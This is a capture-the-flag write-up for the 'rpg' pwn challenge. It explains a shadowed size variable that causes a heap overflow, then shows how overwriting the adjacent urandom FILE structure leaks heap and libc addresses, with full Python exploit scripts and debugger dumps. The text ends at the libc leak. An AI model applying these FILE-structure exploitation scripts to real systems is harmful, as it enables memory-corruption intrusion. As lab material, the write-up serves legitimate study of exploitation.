Writeup by edoardo3512 for RPG

pwn x86/x64

April 18, 2025

Challenge

We are given three files. The binary to exploit, the libc running on the server and its loader:

  • rpg
  • libc-2.33.so
  • ld-2.33.so

The binary rpg is a 64 bit, dynamically linked executable, with debug symbols still present, and we can see from checksec that the binary has all security measures enabled.

$ file rpg
rpg: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./libs/ld-2.33.so, for GNU/Linux 3.2.0, BuildID[sha1]=a8cacaeaeb994097ac5b1fff12ffebb247484001, not stripped

$ checksec rpg
[*] '/rpg'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./libs'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Exploration

Code

In this case we are given the source code of the challenge and I don’t know if I should worry or not…

The main function can be divided in three parts.

We start by logging in. We create a username that is stored in the heap with getline and the program saves a pointer to it on the stack next to it’s length. At the same time we also open the urandom file. (Why now though and not before or after logging in ?)

int main(void)
{
    char *name  = NULL;
    size_t size = 0;

    /* Disable buffering on stdio */
    setbuf(stdin,  NULL);
    setbuf(stdout, NULL);

    /* Ask for a name */
    printf("name> ");
    if(0 > getline(&name, &size, stdin)) {
        perror("getline");
        return EXIT_FAILURE;
    }
    name[strcspn(name, "\n")] = 0;

    /* Open the RNG source */
    FILE *fp = fopen("/dev/urandom", "r");

    if(NULL == fp) {
        perror("fopen");
        return EXIT_FAILURE;
    }

    message("%s logged in", name);
    ...
}

Then in a loop the program listens for a message. This message is also read with getline, storing a poiner to it and it’s size on the stack too (but we can already notice a problem with this, and probably the reason why we have the source code).

Here there are 4 possible commands: /quit, /me, /nick and roll. The first one is straight forward and exits the program, the /me command allows us to describe an action in the first person, /nick is used to change nickname, and /roll generates a random throw on a given dice using the /dev/urandom file as source. If we are not using any command the input will be printed as a normal message.

int main(void)
{
    ...
    /* Read messages */
    while(1) {
        char *msg   = NULL;
        size_t size = 0;

        if(0 > getline(&msg, &size, stdin)) {
            perror("getline");
            return EXIT_FAILURE;
        }
        msg[strcspn(msg, "\n")] = 0;

        /* Handle commands */
        if('/' == msg[0] && '/' != msg[1]) {
            const char *cmd = strtok(msg + 1, " ");
            const char *arg = strtok(NULL, "");

            if(0 == strcmp(cmd, "quit")) {
                if(arg)
                    message("%s quit (%s)", name, arg);
                else
                    message("%s quit", name);
                break;
            } else if(0 == strcmp(cmd, "me")) {
                message("*** %s %s ***", name, arg);
            } else if(0 == strcmp(cmd, "nick")) {
                message("%s is now known as %s", name, arg);

                if(strlen(arg) >= size)
                    name = realloc(name, size + 1);

                strcpy(name, arg);
            } else if(0 == strcmp(cmd, "roll")) {
                /* You can play with *very large* dices */
                size_t mod = atol(arg);
                size_t r = 0;

                if(0 == mod) {
                    message("Cannot roll 0-faced dices");
                    continue;
                }

                if(sizeof(r) != fread(&r, 1, sizeof(r), fp)) {
                    perror("fread");
                    continue;
                }

                r %= mod;

                message("%s rolled 1d%lu: %lu", name, mod, r);
            } else {
                message("invalid command: %s", cmd);
            }
        } else {
            /* regular message */
            const char *m = msg;
            if('/' == m[0])
                m++;

            message("%s: %s", name, m);
        }
        ...
    }
}

Finally the program frees the message we sent and restarts the loop.

int main(void)
{
    ...
    while(1) {
        ...
        free(msg);
    }
}

The program also contains a message function which is a wrapper around printf to show the messages in the format: [YYYY-MM-DD HH:MM:SS] <username>: <message>.

int message(const char *fmt, ...)
{
    FILE *fp = stdout;
    char ts[sizeof("[YYYY-MM-DD HH:MM:SS] ")];

    time_t t = time(NULL);
    const struct tm *tm = localtime(&t);

    /* Write the date */
    strftime(ts, sizeof(ts), "[%F %H:%M:%S] ", tm);
    fwrite(ts, sizeof(ts), 1, fp);

    /* Write the message */
    va_list ap;
    va_start(ap, fmt);
    int ret = vfprintf(fp, fmt, ap);
    va_end(ap);

    fputc('\n', fp);

    return ret;
}

Vulnerability

As you may have noticed already both “structures” for our inputs are saved raw on the stack of main. This causes the parameter size of our name to be overshadowed by the size of the message since both variables use the same name. This becomes a problem when we want to update our username.

if(strlen(arg) >= size)
    name = realloc(name, size + 1);
strcpy(name, arg);

The idea of this check is to increase the size of the buffer we use for the name before updating its content, but the variable size is not the length of our name anymore but instead the length of the command we sent. This is why I think we were given the source code. If we decompile the program with Ghidra the variables are shown as clearly distinct, hiding the meaning of such a bug and making it feel obvious and random. I can not justify though why we use size + 1 instead of strlen(arg) + 1 in realloc.

The consequence of this bug is that the buffer for name is never update, even if the new name is too long to fit. This means that we end up with a clear overflow on the heap.

Heap structure

The first question now is what data can be overwritten with this bug. I will start by visualizing the state of the heap and where our variable are stored.

from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

dbg = Debugger(context.binary, aslr=False)
...
dbg.until("getline") # Read name
name_ptr_stack = dbg.args[0]
...
dbg.until("fopen") # Open urandom
dbg.finish()
file_ptr = dbg.return_value
dbg.until("getline") # Read message
message_ptr_stack = dbg.args[0]
...
name_ptr = dbg.read_pointer(name_ptr_stack)
message_ptr = dbg.read_pointer(message_ptr_stack)
print(f"{hex(name_ptr)=}")
print(f"{hex(file_ptr)=}")
print(f"{hex(message_ptr)=}")
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

dbg = Debugger(context.binary, aslr=False)

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    return send(b"/nick " + name, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

dbg.until("getline") # Read name
name_ptr_stack = dbg.args[0]
login(listen=False)
dbg.until("fopen") # Open urandom
dbg.finish()
file_ptr = dbg.return_value
dbg.until("getline") # Read message
message_ptr_stack = dbg.args[0]
send(b"random message", listen=False)
dbg.until("message")
name_ptr = dbg.read_pointer(name_ptr_stack)
message_ptr = dbg.read_pointer(message_ptr_stack)
print(f"{hex(name_ptr)=}")
print(f"{hex(file_ptr)=}")
print(f"{hex(message_ptr)=}")

We can see on the heap our three variables with in between a lot of chunks left by the operations in message. Looking at the bins we see that not many of them are freed, but still some are. Since our message is gonna be freed we could look into poisoning them, but we don’t have a lot of control over the multiple allocations in message, so for two stars this is probably not the right approach.

hex(name_ptr)='0x55555555a2a0'
hex(file_ptr)='0x55555555a320'
hex(message_ptr)='0x55555555a7c0'
Chunk(addr=0x55555555a010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x55555555a2a0, size=0x80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a2a0     64 65 66 61 75 6c 74 20 75 73 65 72 00 00 00 00    default user....] <<<<<<<<<<<<<<<<<<<<<<<< username
Chunk(addr=0x55555555a320, size=0x1e0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a320     88 24 ad fb 00 00 00 00 00 00 00 00 00 00 00 00    .$..............] <<<<<<<<<<<<<<<<<<<<<<<< file structure
Chunk(addr=0x55555555a500, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a500     2f 65 74 63 2f 6c 6f 63 61 6c 74 69 6d 65 00 00    /etc/localtime..]
Chunk(addr=0x55555555a520, size=0x1e0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a520     5a 55 55 55 05 00 00 00 10 a0 55 55 55 55 00 00    ZUUU......UUUU..]
Chunk(addr=0x55555555a700, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a700     20 a7 55 55 55 55 00 00 03 00 00 00 00 00 00 00     .UUUU..........]
Chunk(addr=0x55555555a720, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a720     40 a7 55 55 55 55 00 00 04 00 00 00 00 00 00 00    @.UUUU..........]
Chunk(addr=0x55555555a740, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a740     60 a7 55 55 55 55 00 00 03 00 00 00 00 00 00 00    `.UUUU..........]
Chunk(addr=0x55555555a760, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a760     80 a7 55 55 55 55 00 00 04 00 00 00 00 00 00 00    ..UUUU..........]
Chunk(addr=0x55555555a780, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a780     a0 a7 55 55 55 55 00 00 04 00 00 00 00 00 00 00    ..UUUU..........]
Chunk(addr=0x55555555a7a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a7a0     00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00    ................]
Chunk(addr=0x55555555a7c0, size=0x80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a7c0     72 61 6e 64 6f 6d 20 6d 65 73 73 61 67 65 00 00    random message..] <<<<<<<<<<<<<<<<<<<<<<<< message
Chunk(addr=0x55555555a840, size=0xed0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555a840     00 5c fb f7 ff 7f 00 00 00 5c fb f7 ff 7f 00 00    .\.......\......]
Chunk(addr=0x55555555b710, size=0x650, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
    [0x000055555555b710     00 b5 36 7e ff ff ff ff f0 c5 ba 9e ff ff ff ff    ..6~............]
─────────────────────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────────────────────
Tcachebins[idx=28, size=0x1e0, count=1] ←  Chunk(addr=0x55555555a520, size=0x1e0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
───────────────────────────────────────────────── Fastbins for arena at 0x7ffff7fb5ba0 ─────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────── Unsorted Bin for arena at 0x7ffff7fb5ba0 ───────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x55555555a830, bk=0x55555555a830
 →   Chunk(addr=0x55555555a840, size=0xed0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
──────────────────────────────────────────────── Small Bins for arena at 0x7ffff7fb5ba0 ────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────── Large Bins for arena at 0x7ffff7fb5ba0 ────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

The first thing we can overwrite though is the file structure for /dev/urandom. We saw in the source code that this structure is suspiciously created in the middle of the logging process, immediately after our input and before calling message for the first time, as to make sure it would be placed right next to the buffer we overflow. We should probably investigate it then.

Exploitation

Leak data

The first idea given our overflow would be to write a long name that touches the data in the FILE structure, and then print it, trying to leak so the adjacent data. Unfortunately the name is copied on the heap with a strcpy, which includes the null byte to terminate the string, so the print will (should) always stop at the name we wrote and not leak additional data. The only alternative we have then is to corrupt the FILE structure itself to cause a leak.

If we look at the FILE structure the first 3 pointers we have (after the flags) are the ones used to locate the buffer from which we can read data. The attributes are _IO_read_ptr, _IO_read_end, and _IO_read_base. The way they work is that, to avoid having to perform syscalls to access the real file, the libc will buffer a chunk of data. As said in the name _IO_read_base will point at the base of this buffer, and _IO_read_end points to its end, while _IO_read_ptr indicates how far we have read. Once we reach the end of the buffer we reset the buffer by reading a new chunk of data. If we can control these pointer though we can both trigger a read from an arbitrary address by moving the buffer to the area we want to read, or even force the program to write there if we pretend that we read all the data in the buffer.

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */

#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */

  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

  char* _IO_read_ptr;   /* Current read pointer */

  char* _IO_read_end;   /* End of get area. */

  char* _IO_read_base;  /* Start of putback+get area. */

  char* _IO_write_base; /* Start of put area. */

  char* _IO_write_ptr;  /* Current put pointer. */

  char* _IO_write_end;  /* End of put area. */

  char* _IO_buf_base;   /* Start of reserve area. */

  char* _IO_buf_end;    /* End of reserve area. */

...

  int _fileno;

...
}

By looking at the state of the structure in memory (after calling /roll once to initialize it first) we can see that the buffer for urandom is a chunk stored in the heap. We would love to overwrite it, but we can’t generate a full pointer due to ASLR. An option would be to overwrite only the least significative bytes, changing the offset of where we are pointing in the heap, but the null byte put by strcpy at the end of our input limits our range. Furthermore if _IO_read_ptr has to fall between _IO_read_base and _IO_read_end we would have to rewrite the whole structure anyway instead of just the least significant part of _IO_read_ptr.

We noticed though that the buffer is created only when we call /roll the first time, so what happens if we go back to our first idea and fill the memory up to the first pointer with our name before calling /roll ? In this case there is no pointer yet that ends up corrupted by our null byte, then when we initialize the structure by calling /roll the first time the pointer to the buffer will be saved right next to our name and overwrite the null byte that was terminating the string, causing printf to leak that pointer.

dbg.execute(f"x/9gx {hex(file_ptr)}")
0x55555555a320:	0x00000000fbad2488	0x0000000000000000
0x55555555a330:	0x0000000000000000	0x0000000000000000
0x55555555a340:	0x0000000000000000	0x0000000000000000
0x55555555a350:	0x0000000000000000	0x0000000000000000
0x55555555a360:	0x0000000000000000
rename(b"A"*(file_ptr - name_ptr) + p32(0xfbad2488) + b"B"*4) # The size between the two structures is 128 bytes
dbg.execute(f"x/9gx {hex(file_ptr)}")
0x55555555a320:	0x42424242fbad2488	0x0000000000000000
0x55555555a330:	0x0000000000000000	0x0000000000000000
0x55555555a340:	0x0000000000000000	0x0000000000000000
0x55555555a350:	0x0000000000000000	0x0000000000000000
0x55555555a360:	0x0000000000000000
roll(1)
dbg.execute(f"x/9gx {hex(file_ptr)}")
0x55555555a320:	0x42424242fbad2488	0x000055555555bd68
0x55555555a330:	0x000055555555cd60	0x000055555555bd60
0x55555555a340:	0x000055555555bd60	0x000055555555bd60
0x55555555a350:	0x000055555555bd60	0x000055555555bd60
0x55555555a360:	0x000055555555cd60
send(b"any message")
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88$\xad\xfbBBBBh\xbdUUUU: any message\n

As expected, now when the program tries to print our name it leaks _IO_read_ptr with it! We can also test it with ASLR on, and then on the remote server to make sure everything is correct.

#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    return send(b"/nick " + name, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string.
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    file_address = leak - (0x55555555bd68 - 0x55555555a320)
    log.success(f"estimated FILE struct location: {hex(file_address)}")
    return file_address


dbg = Debugger(context.binary, aslr=True).remote(HOST, PORT)

done = dbg.until("fopen", wait=False) # Open urandom
login(listen=False)
done.wait()
dbg.finish()
if dbg.debugging:
    file_ptr = dbg.return_value
    print(f"{hex(file_ptr)=}")
dbg.c(wait=False)
dbg.p.recvuntil(b"logged in\n")
leak_heap()
$python3 solve.py
hex(file_ptr)='0x5c0285a5f320'
[+] leaked _IO_read_ptr: 0x5c0285a60d68
[+] estimated FILE struct location: 0x5c0285a5f320

$python3 python3 solve.py REMOTE
[+] leaked _IO_read_ptr: 0x61780d478888
[+] estimated FILE struct location: 0x61780d476e40

Arbitrary read

Now we can fully overwrite our FILE structure giving us an arbitrary read, but only in the heap so far. We would want to leak the libc next, and we can already see an address of the libc at 0x55555555a388. This is the chain attribute of our structure that stores the address of the previous file opened by the program. The idea is that all files are linked together so that, when it has to exit, the program can close all of them properly without omitting any. stdout will point to stdin, stderr to stdout, and since /dev/urandom is the fourth file opened in our program it will point to stderr which is stored on the bss of the libc.

gef➤  x/32gx 0x55555555a320
0x55555555a320:	0x42424242fbad2488	0x000055555555bd68
0x55555555a330:	0x000055555555cd60	0x000055555555bd60
0x55555555a340:	0x000055555555bd60	0x000055555555bd60
0x55555555a350:	0x000055555555bd60	0x000055555555bd60
0x55555555a360:	0x000055555555cd60	0x0000000000000000
0x55555555a370:	0x0000000000000000	0x0000000000000000
0x55555555a380:	0x0000000000000000	0x00007ffff7fb65e0
0x55555555a390:	0x0000000000000003	0x0000000000000000
0x55555555a3a0:	0x0000000000000000	0x000055555555a400
0x55555555a3b0:	0xffffffffffffffff	0x0000000000000000
0x55555555a3c0:	0x000055555555a410	0x0000000000000000
0x55555555a3d0:	0x0000000000000000	0x0000000000000000
0x55555555a3e0:	0x00000000ffffffff	0x0000000000000000
0x55555555a3f0:	0x0000000000000000	0x00007ffff7fb74a0
0x55555555a400:	0x0000000000000000	0x0000000000000000
0x55555555a410:	0x0000000000000000	0x0000000000000000

gef➤  x/28gx 0x00007ffff7fb65e0
0x7ffff7fb65e0 <_IO_2_1_stderr_>:	0x00000000fbad2086	0x0000000000000000
0x7ffff7fb65f0 <_IO_2_1_stderr_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb6600 <_IO_2_1_stderr_+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb6610 <_IO_2_1_stderr_+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb6620 <_IO_2_1_stderr_+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb6630 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb6640 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x00007ffff7fb66c0
0x7ffff7fb6650 <_IO_2_1_stderr_+112>:	0x0000000000000002	0xffffffffffffffff
0x7ffff7fb6660 <_IO_2_1_stderr_+128>:	0x0000000000000000	0x00007ffff7fb8660
0x7ffff7fb6670 <_IO_2_1_stderr_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7fb6680 <_IO_2_1_stderr_+160>:	0x00007ffff7fb57a0	0x0000000000000000
0x7ffff7fb6690 <_IO_2_1_stderr_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb66a0 <_IO_2_1_stderr_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7fb66b0 <_IO_2_1_stderr_+208>:	0x0000000000000000	0x00007ffff7fb74a0

To read this pointer to stderr we want _IO_read_ptr and _IO_read_base to point to 0x55555555a388, and we will set _IO_read_end a bit further to make sure we don’t reach it causing an unwanted read from the real file.

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing null bytes even if the name is copied with strcpy.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    Example:
    To set AAA\x00BB\x00CC
    We send:    We have in memory:
    AAxBBxCC -> AAAxBBxCC\x00
    AAxBB    -> AAAxBB\x00CC\x00
    AA       -> AAA\x00BB\x00CC\x00

    There is no way to write \n though since that byte is directly removed from our input.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset > 8
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

We can test if it works by reading the file flags:

...
log.success(hex(read(file_address)))
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    file_address = leak - (0x55555555bd68 - 0x55555555a320)
    log.success(f"estimated FILE struct location: {hex(file_address)}")
    return file_address

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

dbg = Debugger(context.binary, aslr=True).remote(HOST, PORT)

done = dbg.until("fopen", wait=False) # Open urandom
login(listen=False)
done.wait()
dbg.finish()
if dbg.debugging:
    file_ptr = dbg.return_value
    print(f"{hex(file_ptr)=}")
dbg.c(wait=False)
dbg.p.recvuntil(b"logged in\n")
file_address = leak_heap()
log.success(hex(read(file_address)))

This works locally, but crashes on the remote server, which means that the offset between the buffer we leak and our FILE structure is probably different there and we are accessing an invalid address instead.

$python3 solve.py
hex(file_ptr)='0x61630d76b320'
[+] leaked _IO_read_ptr: 0x61630d76cd68
[+] estimated FILE struct location: 0x61630d76b320
[+] 0x2424242fbad2488

$python3 solve.py REMOTE
[+] leaked _IO_read_ptr: 0x565290140888
[+] estimated FILE struct location: 0x56529013ee40
Traceback (most recent call last):
    ...
EOFError

We know though that reading at the address we leak is valid since it’s the one of our buffer, so we can start there and slowly move back in the memory until we locate our flags. Since the heap is continuous we can guarantee that all addresses we will try to access this way are readable and we will find our target without crashing.

...
def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def leak_file_address(address):
    p = log.progress("searching FILE structure")
    for offset in range(0, 0x55555555bd68 - 0x55555555a320 + 16, 8):
        p.status(f"{offset}/{0x55555555bd68 - 0x55555555a320}")
        if read(address - offset) & 0xffffffff == FILE_FLAGS:
            break
    else:
        p.failure(f"can not find in range: {address - offset} - {address}")
    p.success(f"found: {hex(address - offset)} ({offset=})")
    return address - offset
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

def leak_file_address(address):
    p = log.progress("searching FILE structure")
    for offset in range(0, 0x55555555bd68 - 0x55555555a320 + 16, 8):
        p.status(f"{offset}/{0x55555555bd68 - 0x55555555a320}")
        if read(address - offset) & 0xffffffff == FILE_FLAGS:
            break
    else:
        p.failure(f"can not find in range: {address - offset} - {address}")
    p.success(f"found: {hex(address - offset)} ({offset=})")
    return address - offset

dbg = Debugger(context.binary, aslr=True).remote(HOST, PORT)

done = dbg.until("fopen", wait=False) # Open urandom
login(listen=False)
done.wait()
dbg.finish()
if dbg.debugging:
    file_ptr = dbg.return_value
    print(f"{hex(file_ptr)=}")
dbg.c(wait=False)
dbg.p.recvuntil(b"logged in\n")
heap_address = leak_heap()
file_address = leak_file_address(heap_address)
log.success(f"{hex(file_address)} -> {hex(read(file_address))}")

We do find our FILE structure this way! And we also notice that the offset is constant between runs, so we can just hardcode it.

$python3 solve.py REMOTE
[+] leaked _IO_read_ptr: 0x5b93666a3888
[+] searching FILE structure: found: 0x5b93666a3320 (offset=1384)
[+] 0x5b93666a3320 -> 0x2424242fbad2488
...
def leak_file_address(address):
    offset = 6728 if dbg.debugging else 1384
    return address - offset
...

Now that we know the location of the file structure we can leak the address of stderr in the chain attribute at offset 0x68.

def leak_libc(file_address):
    leak = read(file_address + 0x68)
    libc_address = leak - (dbg.libc.symbols["_IO_2_1_stderr_"] - dbg.libc.address)
    log.success(f"base libc: {hex(libc_address)}")
    return libc_address
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488
NICK = 0x179d
ROLL = 0x181c

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def leak_file_address(address):
    offset = 6728 if dbg.debugging else 1384
    return address - offset

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

def leak_libc(file_address):
    leak = read(file_address + 0x68)
    libc_address = leak - (dbg.libc.symbols["_IO_2_1_stderr_"] - dbg.libc.address)
    log.success(f"base libc: {hex(libc_address)}")
    return libc_address

dbg = Debugger(context.binary, aslr=False).remote(HOST, PORT)

dbg.c(wait=False)
login()
heap_address = leak_heap()
